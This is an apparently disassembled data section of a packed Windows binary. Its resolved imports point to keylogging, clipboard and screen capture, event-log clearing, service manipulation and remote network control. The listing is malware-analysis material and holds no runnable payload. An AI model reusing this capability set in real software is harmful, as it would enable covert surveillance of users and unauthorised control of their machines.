14Eh dword_43FA7C dd 16Dh ; sub_425426+2Er ... dword_43FA80 dd 0FFFFFFFFh dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 0 dword_43FAB8 dd 2 dup(0) dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43FC18 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_42660A+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh, 0 off_43FD78 dd offset off_428D90 ; DATA XREF: .packed:00428F14o ; .packed:00429014o align 10h a_?avexception@ db '.?AVexception@@',0 off_43FD90 dd offset off_428D90 ; DATA XREF: .packed:off_428E00o ; .packed:00428E94o ... align 8 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 10h off_43FDB0 dd offset off_428D90 ; DATA XREF: .packed:off_428E18o ; .packed:00428E5Co ... align 8 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43FDD0 dd offset off_428D90 ; DATA XREF: .packed:off_428EA0o ; .packed:00428EE4o ... align 8 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 10h off_43FDF0 dd offset off_428D90 ; DATA XREF: .packed:off_428F20o ; .packed:00428F5Co align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_424F3C align 10h dword_43FE10 dd 0 byte_43FE14 db 0 ; DATA XREF: sub_401132+62o ; sub_401252+241o ... align 4 dword_43FE18 dd 0 ; sub_401B66+A6Do ... dd 5 dup(0) dword_43FE30 dd 0 ; sub_4156AD+60r dd 2D9h dup(0) dword_440998 dd 0 ; sub_401B66+5E8Br ... dd 7Fh dup(0) dword_440B98 dd 0 ; sub_40B0C8+3Aw ... dword_440B9C dd 0 ; sub_40B0C8+40w ... dword_440BA0 dd 0 ; sub_40B0C8+34r ... dword_440BA4 dd 0 ; sub_401891+B9w ... dword_440BA8 dd 0 ; sub_40B2A3+2Aw ... dword_440BAC dd 0 ; sub_401252+439w ... byte_440BB0 db 0 ; DATA XREF: sub_401891+91o ; sub_401B66+5CD1r ... align 4 dd 12E7h dup(0) dword_445750 dd 473Ch dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: .packed:off_43B184o dd 0E304h dup(0) dword_490054 dd 7FFFh dup(0) ; .packed:00434491o db 2 dup(0) word_4B0052 dw 0 ; DATA XREF: .packed:00434487o dd 147Ch dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: .packed:0043AFF0o dd 3E7Fh dup(0) dword_4C4C44 dd 2355h dup(0) dword_4CD998 dd 0 ; sub_40AF8D+13o ... dword_4CD99C dd 0 ; sub_401B66:loc_4044ECr ... dword_4CD9A0 dd 0 dword_4CD9A4 dd 20h dup(0) ; sub_401252+5A2o ... dword_4CDA24 dd 10h dup(0) dword_4CDA64 dd 24h dup(0) dword_4CDAF4 dd 0 ; sub_401252+5B9w ... dword_4CDAF8 dd 0 dd 2 dup(0) dword_4CDB04 dd 0 ; sub_401B66:loc_403BF9r ... dword_4CDB08 dd 0 dword_4CDB0C dd 0 ; sub_401B66+268r byte_4CDB10 db 0 ; DATA XREF: sub_4019F7+10r ; sub_4019F7+23o align 4 dword_4CDB14 dd 0 ; sub_401252+56Dr ... dword_4CDB18 dd 0 ; sub_401B66+823r word_4CDB1C dw 0 ; DATA XREF: sub_401B66+7C41o ; sub_40C816+13o ... align 10h dword_4CDB20 dd 0 ; resolved to->GDI32.DeleteDC ; sub_409A1D+4EBr ... dword_4CDB24 dd 0 ; resolved to->KERNEL32.Module32First ; sub_419E77+156r dword_4CDB28 dd 0 ; resolved to->WININET.InternetGetConnectedStateExA ; sub_409A1D+880r ... dword_4CDB2C dd 0 ; sub_409A1D+A43r ... dword_4CDB30 dd 0 ; sub_409A1D+A13r ... dword_4CDB34 dd 0 ; resolved to->GDI32.SelectObject ; sub_409A1D+4DBr ... dword_4CDB38 dd 0 ; resolved to->USER32.GetKeyState ; sub_409A1D+234r ... dword_4CDB3C dd 0 ; sub_409A1D+A3Br ... dword_4CDB40 dd 0 ; resolved to->ADVAPI32.OpenServiceA ; sub_409A1D+3C7r ... dword_4CDB44 dd 0 ; resolved to->ADVAPI32.GetUserNameA ; sub_41B1FC+11Er dword_4CDB48 dd 0 ; resolved to->ADVAPI32.StartServiceA ; sub_409A1D+3CFr ... dword_4CDB4C dd 0 ; resolved to->ADVAPI32.IsValidSecurityDescriptor ; sub_41946F+ADr dword_4CDB50 dd 0 ; resolved to->WS2_32.__WSAFDIsSet ; sub_40F956+115r ... dword_4CDB54 dd 0 ; resolved to->KERNEL32.GetDiskFreeSpaceExA ; sub_409A1D+D2r ... dword_4CDB58 dd 0 ; sub_409A1D+A06r ... dword_4CDB5C dd 0 ; resolved to->ADVAPI32.CloseServiceHandle ; sub_409A1D+3E7r ... dword_4CDB60 dd 0 ; resolved to->WININET.InternetCrackUrlA ; sub_409A1D+8ACr ... dword_4CDB64 dd 0 ; resolved to->ADVAPI32.RegQueryValueExA ; sub_409A1D+2F0r ... dword_4CDB68 dd 0 ; resolved to->WININET.InternetOpenUrlA ; sub_409A1D+8A4r ... dword_4CDB6C dd 0 ; resolved to->KERNEL32.QueryPerformanceFrequencydword_4CDB70 dd 0 ; resolved to->WININET.InternetReadFile ; sub_409A1D+8B4r ... dword_4CDB74 dd 0 ; resolved to->WS2_32.WSAAsyncSelect ; sub_409A1D+6D0r ... dword_4CDB78 dd 0 ; resolved to->KERNEL32.Process32Next ; sub_409A1D+CAr ... dword_4CDB7C dd 0 ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_4138B0+11Ar dword_4CDB80 dd 0 ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_409A1D+A95w ... dword_4CDB84 dd 0 ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_409A1D+F2r dword_4CDB88 dd 0 ; resolved to->GDI32.GetDIBColorTable ; sub_409A1D+4D3r ... dword_4CDB8C dd 0 ; resolved to->WS2_32.ntohl ; sub_40BE29+20r ... dword_4CDB90 dd 0 ; sub_409A1D+A33r dword_4CDB94 dd 0 ; resolved to->WS2_32.ntohs ; sub_409A1D+754r ... dword_4CDB98 dd 0 ; sub_40B1CF+16o ... dword_4CDB9C dd 0 ; sub_40B182+3Do dword_4CDBA0 dd 0 ; resolved to->WININET.InternetGetConnectedState ; sub_409A1D+7FEw ... dword_4CDBA4 dd 0 ; resolved to->USER32.ExitWindowsEx ; sub_418A12+15r dword_4CDBA8 dd 0 ; sub_409A1D+A1Br ... dword_4CDBAC dd 0 ; resolved to->ADVAPI32.ControlService ; sub_409A1D+3D7r ... dword_4CDBB0 dd 0 ; resolved to->ADVAPI32.DeleteService ; sub_409A1D+3DFr ... dword_4CDBB4 dd 0 ; sub_409A1D+C8Cr ... dword_4CDBB8 dd 0 ; resolved to->WS2_32.getpeername ; sub_410E59+D0r dword_4CDBBC dd 0 ; resolved to->WS2_32.WSACleanup ; sub_401132+23r ... dword_4CDBC0 dd 0 ; resolved to->GDI32.DeleteObject ; sub_4159B5+207r dword_4CDBC4 dd 0 ; sub_409A1D+A4Br ... dword_4CDBC8 dd 0 ; resolved to->ADVAPI32.RegDeleteValueA ; sub_409A1D+2B2w ... dword_4CDBCC dd 0 ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_409A1D+DAr ... dword_4CDBD0 dd 0 ; resolved to->SHELL32.ShellExecuteA ; sub_401B66+78B6r ... dword_4CDBD4 dd 0 ; resolved to->WS2_32.WSAStartup ; sub_401B66+503Br ... dword_4CDBD8 dd 0 ; resolved to->WININET.HttpSendRequestA ; sub_409A1D+890r ... dword_4CDBDC dd 0 ; sub_409A1D+A23r dword_4CDBE0 dd 0 ; sub_409A1D+C3Fr dword_4CDBE4 dd 0 ; resolved to->ADVAPI32.OpenEventLogA ; sub_418BBC+47r dword_4CDBE8 dd 0 ; resolved to->USER32.GetForegroundWindow ; sub_41234A+40r ... dword_4CDBEC dd 0 ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_409A1D+92Er ... dword_4CDBF0 dd 0 dword_4CDBF4 dd 0 ; resolved to->ADVAPI32.ClearEventLogA ; sub_418BBC+4Fr dword_4CDBF8 dd 0 ; resolved to->WS2_32.WSAGetLastError ; sub_409A1D+6E8r ... dword_4CDBFC dd 0 ; resolved to->WININET.InternetOpenA ; sub_409A1D+873r dword_4CDC00 dd 0 ; resolved to->USER32.GetWindowTextA ; sub_409A1D+23Cr ... dword_4CDC04 dd 0 ; resolved to->USER32.IsWindow ; sub_409A1D+1C2r ... dword_4CDC08 dd 0 ; resolved to->WS2_32.getsockname ; sub_401B66+59F3r ... dword_4CDC0C dd 0 ; resolved to->WS2_32.connect ; sub_401B66+50C5r ... dword_4CDC10 dd 0 ; resolved to->WS2_32.WSAIoctl ; sub_409A1D+6DCr ... dword_4CDC14 dd 0 ; sub_409A1D:loc_40A316w ... dword_4CDC18 dd 0 ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_409A1D+28Bw ... dword_4CDC1C dd 0 ; resolved to->WS2_32.gethostbyaddr ; sub_409A1D+69Fw ... dword_4CDC20 dd 0 ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_409A1D+341r ... dword_4CDC24 dd 0 ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_409A1D+3EFr ... dword_4CDC28 dd 0 ; sub_409A1D+C37r dword_4CDC2C dd 0 ; resolved to->WININET.HttpOpenRequestA ; sub_409A1D+888r ... dword_4CDC30 dd 0 ; resolved to->USER32.GetAsyncKeyState ; sub_409A1D+227r ... dword_4CDC34 dd 0 ; resolved to->USER32.OpenClipboard ; sub_409A1D+1D2r ... dword_4CDC38 dd 0 ; resolved to->WININET.InternetConnectA ; sub_409A1D+898r ... dword_4CDC3C dd 0 ; resolved to->WSOCK32.recvfrom ; sub_409A1D+774r ... dword_4CDC40 dd 0 ; resolved to->ADVAPI32.RegCloseKey ; sub_409A1D+2BFw ... dword_4CDC44 dd 0 ; resolved to->WSOCK32.setsockopt ; sub_409A1D+79Cr ... dword_4CDC48 dd 0 ; resolved to->ADVAPI32.OpenProcessToken ; sub_409A1D+334r ... dword_4CDC4C dd 0 ; resolved to->WS2_32.select ; sub_409A1D+784r ... dword_4CDC50 dd 0 ; resolved to->GDI32.CreateDCA ; sub_409A1D+4AEr ... dword_4CDC54 dd 0 ; resolved to->USER32.GetClipboardData ; sub_409A1D+1DAr ... dword_4CDC58 dd 0 ; resolved to->ADVAPI32.OpenSCManagerA ; sub_409A1D+3BAr ... dword_4CDC5C dd 0 ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_4CDC60 dd 0 ; resolved to->WS2_32.ntohl ; sub_409A1D+748r ... dword_4CDC64 dd 0 ; resolved to->WS2_32.ntohs ; sub_401B66+5077r ... dword_4CDC68 dd 0 ; resolved to->KERNEL32.Process32First ; sub_409A1D+C2r ... dword_4CDC6C dd 0 ; resolved to->GDI32.GetDeviceCaps ; sub_409A1D+4CBr ... dword_4CDC70 dd 0 ; resolved to->USER32.FindWindowA ; sub_409A1D+1BAr ... dword_4CDC74 dd 0 ; sub_409A1D+A5Br ... dword_4CDC78 dd 0 ; resolved to->WS2_32.gethostname ; sub_409A1D+7ACr ... dword_4CDC7C dd 0 ; resolved to->WSOCK32.recv ; sub_401B66+50DAr ... dword_4CDC80 dd 0 ; sub_409A1D+C47r dword_4CDC84 dd 0 ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_409A1D+BAr ... dword_4CDC88 dd 0 ; resolved to->ADVAPI32.RegSetValueExA ; sub_409A1D+298w ... dword_4CDC8C dd 0 ; resolved to->WS2_32.listen ; sub_409A1D+78Cr ... dword_4CDC90 dd 0 ; resolved to->WS2_32.bind ; sub_409A1D+77Cr ... dword_4CDC94 dd 0 ; sub_409A1D+C92w dword_4CDC98 dd 0 ; resolved to->WININET.InternetCloseHandle ; sub_416975+4C9r ... dword_4CDC9C dd 0 dword_4CDCA0 dd 0 ; sub_409A1D+C22r dword_4CDCA4 dd 0 ; resolved to->WS2_32.inet_addr ; sub_401B66+5EBCr ... dword_4CDCA8 dd 0 ; resolved to->GDI32.CreateDIBSection ; sub_409A1D+4BBr ... dword_4CDCAC dd 0 ; resolved to->GDI32.BitBlt ; sub_409A1D+4E3r ... dword_4CDCB0 dd 0 ; resolved to->GDI32.CreateCompatibleDC ; sub_409A1D+4C3r ... dword_4CDCB4 dd 0 ; resolved to->WS2_32.send ; sub_401B66+50F7r ... dword_4CDCB8 dd 0 ; resolved to->USER32.CloseClipboard ; sub_409A1D+1E2r ... dword_4CDCBC dd 0 ; sub_409A1D+A53r ... dword_4CDCC0 dd 0 ; resolved to->USER32.SendMessageA ; sub_409A1D+1ADr ... dword_4CDCC4 dd 0 ; resolved to->KERNEL32.GetDriveTypeA ; sub_409A1D+E2r ... dword_4CDCC8 dd 0 ; resolved to->WS2_32.sendto ; sub_409A1D+764r ... dword_4CDCCC dd 0 ; sub_409A1D+B5Fr dword_4CDCD0 dd 0 ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_419E0C+55r dword_4CDCD4 dd 0 ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_409A1D+2D3r ... dword_4CDCD8 dd 0 ; resolved to->SHELL32.SHChangeNotifydword_4CDCDC dd 0 ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_40AA3C+8Fr dword_4CDCE0 dd 0 ; resolved to->IPHLPAPI.GetIpNetTable ; sub_409A1D+AE6r ... dword_4CDCE4 dd 0 ; resolved to->WS2_32.socket ; sub_401B66+5056r ... dword_4CDCE8 dd 0 ; resolved to->WS2_32.gethostbyname ; sub_401B66+785Cr ... dword_4CDCEC dd 0 ; sub_409A1D+C2Fr dword_4CDCF0 dd 0 ; resolved to->WS2_32.inet_ntoa ; sub_401B66+5A19r ... dword_4CDCF4 dd 0 ; sub_409A1D+A2Br ... dword_4CDCF8 dd 0 ; resolved to->WS2_32.accept ; sub_409A1D+794r ... dword_4CDCFC dd 0 ; resolved to->WS2_32.closesocket ; sub_401891+D0r ... dword_4CDD00 dd 0 ; resolved to->WS2_32.ioctlsocket ; sub_409A1D+70Cr ... dword_4CDD04 dd 0 ; sub_409A1D+B57r dword_4CDD08 dd 0 ; resolved to->WS2_32.WSASocketA ; sub_409A1D+6C4r ... dword_4CDD0C dd 0 ; sub_409A1D+B4Ar ... dword_4CDD10 dd 0 ; resolved to->KERNEL32.SetErrorMode ; sub_409A1D+31w ... dword_4CDD14 dd 0 ; resolved to->USER32.DestroyWindow ; sub_409A1D+1CAr ... dword_4CDD18 dd 0 ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_409A1D+93Br ... dword_4CDD1C dd 0 ; resolved to->KERNEL32.SearchPathA ; sub_409A1D+EAr ... dword_4CDD20 dd 0 ; sub_409A1D+12Bw ... dword_4CDD24 dd 0 ; sub_40A6D9+1Cr dword_4CDD28 dd 0 ; sub_409A1D:loc_409C72w ... dword_4CDD2C dd 0 ; sub_40A6D9+50r dword_4CDD30 dd 0 ; sub_401B66+4436r ... dword_4CDD34 dd 0 ; sub_40A6D9+84r dword_4CDD38 dd 0 ; sub_40A6D9:loc_40A789r dword_4CDD3C dd 0 ; sub_40A6D9+B8r dword_4CDD40 dd 0 ; sub_40A6D9:loc_40A7BDr dword_4CDD44 dd 0 ; sub_40A6D9+ECr dword_4CDD48 dd 0 ; sub_409A1D:loc_40A2DDw ... dword_4CDD4C dd 0 ; sub_40A6D9+120r dword_4CDD50 dd 0 ; sub_409A1D:loc_40A371w ... dword_4CDD54 dd 0 ; sub_40A6D9+154r dword_4CDD58 dd 0 ; sub_409A1D:loc_40A48Dw ... dword_4CDD5C dd 0 ; sub_40A6D9+188r dword_4CDD60 dd 0 ; sub_40A6D9:loc_40A88Dr dword_4CDD64 dd 0 ; sub_40A6D9+1BCr dword_4CDD68 dd 0 ; sub_40A6D9:loc_40A8C1r dword_4CDD6C dd 0 ; sub_40A6D9+1F0r dword_4CDD70 dd 0 ; sub_40A6D9:loc_40A8F5r dword_4CDD74 dd 0 ; sub_40A6D9+224r dword_4CDD78 dd 0 ; sub_40A6D9:loc_40A929r dword_4CDD7C dd 0 ; sub_40A6D9+258r dword_4CDD80 dd 0 ; sub_40A6D9:loc_40A95Dr dword_4CDD84 dd 0 ; sub_40A6D9+28Cr dword_4CDD88 dd 0 ; sub_40A6D9:loc_40A991r dword_4CDD8C dd 0 ; sub_40A6D9+2C0r dword_4CDD90 dd 6 dup(0) dword_4CDDA8 dd 0 ; sub_40BE71+92w ... dword_4CDDAC dd 0 ; sub_40C1BE+D9w ... dd 7FEh dup(0) dword_4CFDA8 dd 6 dup(0) ; sub_40BFAA+129o ... dword_4CFDC0 dd 0 ; sub_40B945+34Do dword_4CFDC4 dd 0 ; sub_40B945+35Fr dword_4CFDC8 dd 0 dword_4CFDCC dd 0 ; sub_40B945+320r dword_4CFDD0 dd 20h dup(0) ; sub_40B945+307o dword_4CFE50 dd 0 dword_4CFE54 dd 0 ; sub_40B945+311w dword_4CFE58 dd 0 align 10h dword_4CFE60 dd 0 ; sub_40B945+FEo dword_4CFE64 dd 41h dup(0) dword_4CFF68 dd 41h dup(0) dword_4D006C dd 0 ; sub_40B945+110r dword_4D0070 dd 0 dword_4D0074 dd 0 ; sub_40B945+D1r dword_4D0078 dd 20h dup(0) ; sub_40B945+B7o dword_4D00F8 dd 0 dword_4D00FC dd 0 ; sub_40B945+C1w dword_4D0100 dd 0 align 8 dword_4D0108 dd 0 ; sub_40B945+226o dword_4D010C dd 41h dup(0) dword_4D0210 dd 41h dup(0) dword_4D0314 dd 0 ; sub_40B945+238r dword_4D0318 dd 0 dword_4D031C dd 0 ; sub_40B945+1F9r dword_4D0320 dd 20h dup(0) ; sub_40B945+1DFo dword_4D03A0 dd 0 dword_4D03A4 dd 0 ; sub_40B945+1E9w dword_4D03A8 dd 0 align 10h dword_4D03B0 dd 0 ; sub_40B945+467o dword_4D03B4 dd 0A2h dup(0) dword_4D063C dd 41h dup(0) dword_4D0740 dd 0 ; sub_40B945+41Ar align 8 dword_4D0748 dd 0 ; sub_40B945+479r dword_4D074C dd 0 dword_4D0750 dd 0 dword_4D0754 dd 0 dd 0 dword_4D075C dd 0 dword_4D0760 dd 0 ; sub_40B597+31r ... dword_4D0764 dd 0 ; sub_40B597+25r ... dword_4D0768 dd 80h dup(0) dword_4D0968 dd 2 dup(0) dword_4D0970 dd 0 ; sub_40D86F+2D9o dword_4D0974 dd 3 dup(0) ; sub_40E453+EAo ... byte_4D0980 db 0 ; DATA XREF: .packed:0040EBD5o ; .packed:0040EC1Ar align 4 dd 3Fh dup(0) dword_4D0A80 dd 2 dup(0) dword_4D0A88 dd 0 ; sub_40EDB1+BCo ... dword_4D0A8C dd 0 ; sub_40EDB1+DAr ... dword_4D0A90 dd 0 ; sub_40EDB1+CFr ... dword_4D0A94 dd 0 ; sub_40EDB1+95o ... dword_4D0A98 dd 0 ; sub_40ED66+3Dr ... dword_4D0A9C dd 0 ; sub_40EF86+10w ... dword_4D0AA0 dd 0 ; sub_40EF9D+27Cw dword_4D0AA4 dd 0 ; sub_40F83F+51r ... dd 0 dword_4D0AAC dd 0 dd 0 dword_4D0AB4 dd 0 ; sub_412995+9o byte_4D0AB8 db 0 ; DATA XREF: sub_4134C5+1C1w ; sub_4134C5+2C0o align 2 word_4D0ABA dw 0 ; DATA XREF: sub_4134C5+1D1w word_4D0ABC dw 0 ; DATA XREF: sub_4134C5+1D7w word_4D0ABE dw 0 ; DATA XREF: sub_4134C5+1DEw byte_4D0AC0 db 0 ; DATA XREF: sub_4134C5+1E5w byte_4D0AC1 db 0 ; DATA XREF: sub_4134C5+1ECw word_4D0AC2 dw 0 ; DATA XREF: sub_4134C5+1F2w dword_4D0AC4 dd 0 ; sub_4134C5+23Ew dword_4D0AC8 dd 0 byte_4D0ACC db 0 ; DATA XREF: sub_4134C5+258w byte_4D0ACD db 0 ; DATA XREF: sub_4134C5+26Bw word_4D0ACE dw 0 ; DATA XREF: sub_4134C5+283w word_4D0AD0 dw 0 ; DATA XREF: sub_4134C5+292w word_4D0AD2 dw 0 ; DATA XREF: sub_4134C5+28Aw dword_4D0AD4 dd 101h dup(0) dword_4D0ED8 dd 80h dup(0) ; sub_401B66:loc_404B35o ... byte_4D10D8 db 0 ; DATA XREF: sub_414D4E+19Fw ; sub_414D4E+278o align 2 word_4D10DA dw 0 ; DATA XREF: sub_414D4E+1ACw word_4D10DC dw 0 ; DATA XREF: sub_414D4E+1B6w word_4D10DE dw 0 ; DATA XREF: sub_414D4E+1BFw byte_4D10E0 db 0 ; DATA XREF: sub_414D4E+1C6w byte_4D10E1 db 0 ; DATA XREF: sub_414D4E+1CDw word_4D10E2 dw 0 ; DATA XREF: sub_414D4E+1D4w dword_4D10E4 dd 0 dword_4D10E8 dd 0 word_4D10EC dw 0 ; DATA XREF: sub_414D4E+242w word_4D10EE dw 0 ; DATA XREF: sub_414D4E+22Aw word_4D10F0 dw 0 ; DATA XREF: sub_414D4E+254w word_4D10F2 dw 0 ; DATA XREF: sub_414D4E+1F5w dword_4D10F4 dd 100h dup(0) dword_4D14F4 dd 0 ; sub_401B66+2F18r ... dd 0 byte_4D14FC db 0 ; DATA XREF: sub_415240+22Ao ; sub_415240+239w ... byte_4D14FD db 0 ; DATA XREF: sub_415240+24Dw word_4D14FE dw 0 ; DATA XREF: sub_415240+27Ew word_4D1500 dw 0 ; DATA XREF: sub_415240+265w ; sub_415240:loc_4155F9w word_4D1502 dw 0 ; DATA XREF: sub_415240+284w byte_4D1504 db 0 ; DATA XREF: sub_415240+271w byte_4D1505 db 0 ; DATA XREF: sub_415240+246w word_4D1506 dw 0 ; DATA XREF: sub_415240+3D9w ; sub_415240+403w dword_4D1508 dd 0 ; sub_415240+383r dword_4D150C dd 0 word_4D1510 dw 0 ; DATA XREF: sub_415240+37Dw ; sub_415240+3CFo word_4D1512 dw 0 ; DATA XREF: sub_415240+31Ew ; sub_415240+343r ... dword_4D1514 dd 0 ; sub_415240+3C0w dword_4D1518 dd 0 ; sub_415240+394w ... byte_4D151C db 0 ; DATA XREF: sub_415240+2FAr ; sub_415240+308w byte_4D151D db 0 ; DATA XREF: sub_415240+2C4w ; sub_415240+38Dw ... word_4D151E dw 0 ; DATA XREF: sub_415240+2D2w word_4D1520 dw 0 ; DATA XREF: sub_415240+3E0w ; sub_415240+411w word_4D1522 dw 0 ; DATA XREF: sub_415240+317w word_4D1524 dw 0 ; DATA XREF: sub_415240+349w ; sub_415240+419o word_4D1526 dw 0 ; DATA XREF: sub_415240+358w ; sub_415240+3F0w dword_4D1528 dd 0 dd 2 dup(0) dword_4D1534 dd 0 ; sub_415240+3FEo dword_4D1538 dd 0 byte_4D153C db 0 ; DATA XREF: sub_415240+32Aw byte_4D153D db 0 ; DATA XREF: sub_415240+330w word_4D153E dw 0 ; DATA XREF: sub_415240+33Dw dword_4D1540 dd 6 dup(0) dword_4D1558 dd 0 ; sub_415240+422r align 10h dword_4D1560 dd 100h dup(0) ; sub_415240+465o dword_4D1960 dd 9FCh dup(0) ; sub_415845o ... db 2 dup(0) word_4D4152 dw 0 ; DATA XREF: .packed:off_43A4F4o dd 603h dup(0) dword_4D5960 dd 0 ; sub_415845+Eo ... dword_4D5964 dd 0Dh dup(0) dword_4D5998 dd 80h dup(0) dword_4D5B98 dd 200h dup(0) ; sub_4177CF+DDo ... dword_4D6398 dd 200h dup(0) ; sub_4177CF+F4o ... dword_4D6B98 dd 0 ; resolved to->NTDLL.RtlCreateQueryDebugBuffer ; sub_417646+94r dword_4D6B9C dd 0 ; resolved to->NTDLL.RtlRunDecodeUnicodeString ; sub_417AA0+55r ... dword_4D6BA0 dd 0 ; resolved to->NTDLL.RtlDestroyQueryDebugBuffer ; sub_417646+D6r ... dword_4D6BA4 dd 0 ; resolved to->NTDLL.ZwQuerySystemInformation ; sub_417646+35r ... dword_4D6BA8 dd 80h dup(0) dword_4D6DA8 dd 0 ; resolved to->NTDLL.RtlQueryProcessDebugInformation ; sub_417646+A2r dword_4D6DAC dd 0 ; sub_417474+103r ... dword_4D6DB0 dd 0 ; sub_417973+107w dword_4D6DB4 dd 0 ; sub_417973+10Dw ... dword_4D6DB8 dd 0 ; sub_417AA0+4Fr align 10h dword_4D6DC0 dd 0 ; sub_417E12:loc_417F91w ... dword_4D6DC4 dd 0 ; sub_417CD6+12o ... dd 0 dword_4D6DCC dd 0 ; sub_417FB1+3Ar dd 7Fh dup(0) dword_4D6FCC dd 0 ; sub_417FB1+4Aw dd 1944h dup(0) dword_4DD4E0 dd 0 ; sub_418827+6Ao dword_4DD4E4 dd 7Fh dup(0) ; sub_417CD6+3Co dword_4DD6E0 dd 18h dup(0) ; sub_418FBC+131o ... dword_4DD740 dd 80h dup(0) ; sub_419D4E+A5o dword_4DD940 dd 0 ; sub_419339+4Dr ... align 8 dword_4DD948 dd 18h dup(0) ; sub_419C1A+12Do dword_4DD9A8 dd 80h dup(0) ; sub_41927A+7Do ... byte_4DDBA8 db 0 ; DATA XREF: sub_419339+29r ; sub_419339+34w align 10h dword_4DDBB0 dd 80h dup(0) ; sub_419590+88o ... dword_4DDDB0 dd 80h dup(0) ; sub_418E93+50o ... dword_4DDFB0 dd 0 ; sub_41A2BE+54r ... dword_4DDFB4 dd 0 ; sub_41A2BE+37r ... dword_4DDFB8 dd 0 ; sub_41A413+83o dword_4DDFBC dd 0 ; sub_41A413+11Bw dword_4DDFC0 dd 0Dh dup(0) ; sub_41A413:loc_41A550o dword_4DDFF4 dd 0 ; sub_41A2BE+ECr ... dword_4DDFF8 dd 0Dh dup(0) dword_4DE02C dd 0 ; sub_41D9ED:loc_41DA69w ... dword_4DE030 dd 0 ; sub_41E272:loc_41E30Cw ... dword_4DE034 dd 0 dword_4DE038 dd 0A28h dword_4DE03C dd 501h dword_4DE040 dd 5 dword_4DE044 dd 1 dword_4DE048 dd 1 ; sub_423867+91w dword_4DE04C dd 371400h ; sub_401252+30Fr ... dd 0 dword_4DE054 dd 371428h ; sub_4262F7+9r ... dword_4DE058 dd 0 dword_4DE05C dd 0 ; sub_4266C5+4r ... dd 0 off_4DE064 dd offset aCM_unpackerPac ; DATA XREF: sub_423867+2Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4DE06C db 0 ; DATA XREF: sub_41BFA3+2Dw ; sub_422FD0+5r align 10h dword_4DE070 dd 0 dword_4DE074 dd 0 ; sub_41BFA3+8Bw dword_4DE078 dd 0 ; sub_41C8C4+91w align 10h dword_4DE080 dd 0 align 8 dword_4DE088 dd 0 ; sub_41D851+A4w align 10h word_4DE090 dw 0 ; DATA XREF: sub_41D851+55r ; 